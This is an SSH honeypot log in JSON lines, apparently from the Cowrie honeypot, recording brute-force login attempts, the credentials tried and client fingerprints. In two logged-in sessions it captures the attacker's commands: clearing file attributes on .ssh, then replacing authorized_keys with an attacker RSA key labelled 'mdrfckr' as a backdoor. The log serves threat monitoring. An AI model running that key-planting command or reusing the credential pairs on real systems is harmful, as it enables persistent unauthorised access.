{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:05:44.472609Z","src_ip":"2.57.122.210","session":"b31209c3ca6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.195.85","src_port":60023,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff4d22ca6c75","protocol":"ssh","message":"New connection: 176.32.195.85:60023 (10.17.0.5:22) [session: ff4d22ca6c75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:05:45.267236Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:05:45.409312Z","src_ip":"176.32.195.85","session":"ff4d22ca6c75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.188.83.153","src_port":50382,"dst_ip":"10.17.0.5","dst_port":22,"session":"24943c3abf4d","protocol":"ssh","message":"New connection: 64.188.83.153:50382 (10.17.0.5:22) [session: 24943c3abf4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:06:02.156816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:06:02.161292Z","src_ip":"64.188.83.153","session":"24943c3abf4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:06:02.246103Z","src_ip":"64.188.83.153","session":"24943c3abf4d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Qaz12345678!","message":"login attempt [root/Qaz12345678!] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:06:02.617820Z","src_ip":"64.188.83.153","session":"24943c3abf4d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:06:02.830228Z","src_ip":"64.188.83.153","session":"24943c3abf4d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:06:02.833446Z","src_ip":"64.188.83.153","session":"24943c3abf4d","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:06:02.836688Z","src_ip":"64.188.83.153","session":"24943c3abf4d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:06:02.924973Z","src_ip":"64.188.83.153","session":"24943c3abf4d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:06:03.147944Z","src_ip":"64.188.83.153","session":"24943c3abf4d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:06:03.151377Z","src_ip":"64.188.83.153","session":"24943c3abf4d","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:06:03.242434Z","src_ip":"64.188.83.153","session":"24943c3abf4d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:06:03.246545Z","src_ip":"64.188.83.153","session":"24943c3abf4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.188.83.153","src_port":50390,"dst_ip":"10.17.0.5","dst_port":22,"session":"763d912eeb4c","protocol":"ssh","message":"New connection: 64.188.83.153:50390 (10.17.0.5:22) [session: 763d912eeb4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:06:03.325680Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:06:03.330455Z","src_ip":"64.188.83.153","session":"763d912eeb4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:06:03.416963Z","src_ip":"64.188.83.153","session":"763d912eeb4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:06:03.797183Z","src_ip":"64.188.83.153","session":"763d912eeb4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:06:04.949230Z","src_ip":"64.188.83.153","session":"763d912eeb4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.188.83.153","src_port":16274,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b29c5ae62e3","protocol":"ssh","message":"New connection: 64.188.83.153:16274 (10.17.0.5:22) [session: 3b29c5ae62e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:06:05.033360Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:06:05.038463Z","src_ip":"64.188.83.153","session":"3b29c5ae62e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:06:05.124221Z","src_ip":"64.188.83.153","session":"3b29c5ae62e3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:06:05.494302Z","src_ip":"64.188.83.153","session":"3b29c5ae62e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:06:05.580662Z","src_ip":"64.188.83.153","session":"24943c3abf4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:06:05.584101Z","src_ip":"64.188.83.153","session":"3b29c5ae62e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.245.10.43","src_port":48370,"dst_ip":"10.17.0.5","dst_port":22,"session":"420a330b1706","protocol":"ssh","message":"New connection: 61.245.10.43:48370 (10.17.0.5:22) [session: 420a330b1706]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:06:17.515030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:06:17.520135Z","src_ip":"61.245.10.43","session":"420a330b1706","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:06:17.774271Z","src_ip":"61.245.10.43","session":"420a330b1706","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aroot","password":"aroot1234","message":"login attempt [aroot/aroot1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:06:18.821574Z","src_ip":"61.245.10.43","session":"420a330b1706","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:06:20.078629Z","src_ip":"61.245.10.43","session":"420a330b1706","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.111.32.174","src_port":45202,"dst_ip":"10.17.0.5","dst_port":22,"session":"302e1b134a12","protocol":"ssh","message":"New connection: 27.111.32.174:45202 (10.17.0.5:22) [session: 302e1b134a12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:06:42.240643Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:06:42.245048Z","src_ip":"27.111.32.174","session":"302e1b134a12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:06:42.491790Z","src_ip":"27.111.32.174","session":"302e1b134a12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aroot","password":"aroot1234","message":"login attempt [aroot/aroot1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:06:43.509597Z","src_ip":"27.111.32.174","session":"302e1b134a12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:06:44.758399Z","src_ip":"27.111.32.174","session":"302e1b134a12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.50.103.212","src_port":34930,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd834e2376c0","protocol":"ssh","message":"New connection: 147.50.103.212:34930 (10.17.0.5:22) [session: fd834e2376c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:07:29.014307Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:07:29.018304Z","src_ip":"147.50.103.212","session":"fd834e2376c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:07:29.279289Z","src_ip":"147.50.103.212","session":"fd834e2376c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"almacen","password":"password","message":"login attempt [almacen/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:07:30.351093Z","src_ip":"147.50.103.212","session":"fd834e2376c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:07:31.615060Z","src_ip":"147.50.103.212","session":"fd834e2376c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.188.83.153","src_port":26968,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c753c9778c2","protocol":"ssh","message":"New connection: 64.188.83.153:26968 (10.17.0.5:22) [session: 9c753c9778c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:07:34.100699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:07:34.105051Z","src_ip":"64.188.83.153","session":"9c753c9778c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:07:34.201164Z","src_ip":"64.188.83.153","session":"9c753c9778c2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Xy123456@","message":"login attempt [root/Xy123456@] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:07:34.572212Z","src_ip":"64.188.83.153","session":"9c753c9778c2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:07:34.781544Z","src_ip":"64.188.83.153","session":"9c753c9778c2","protocol":"ssh"}
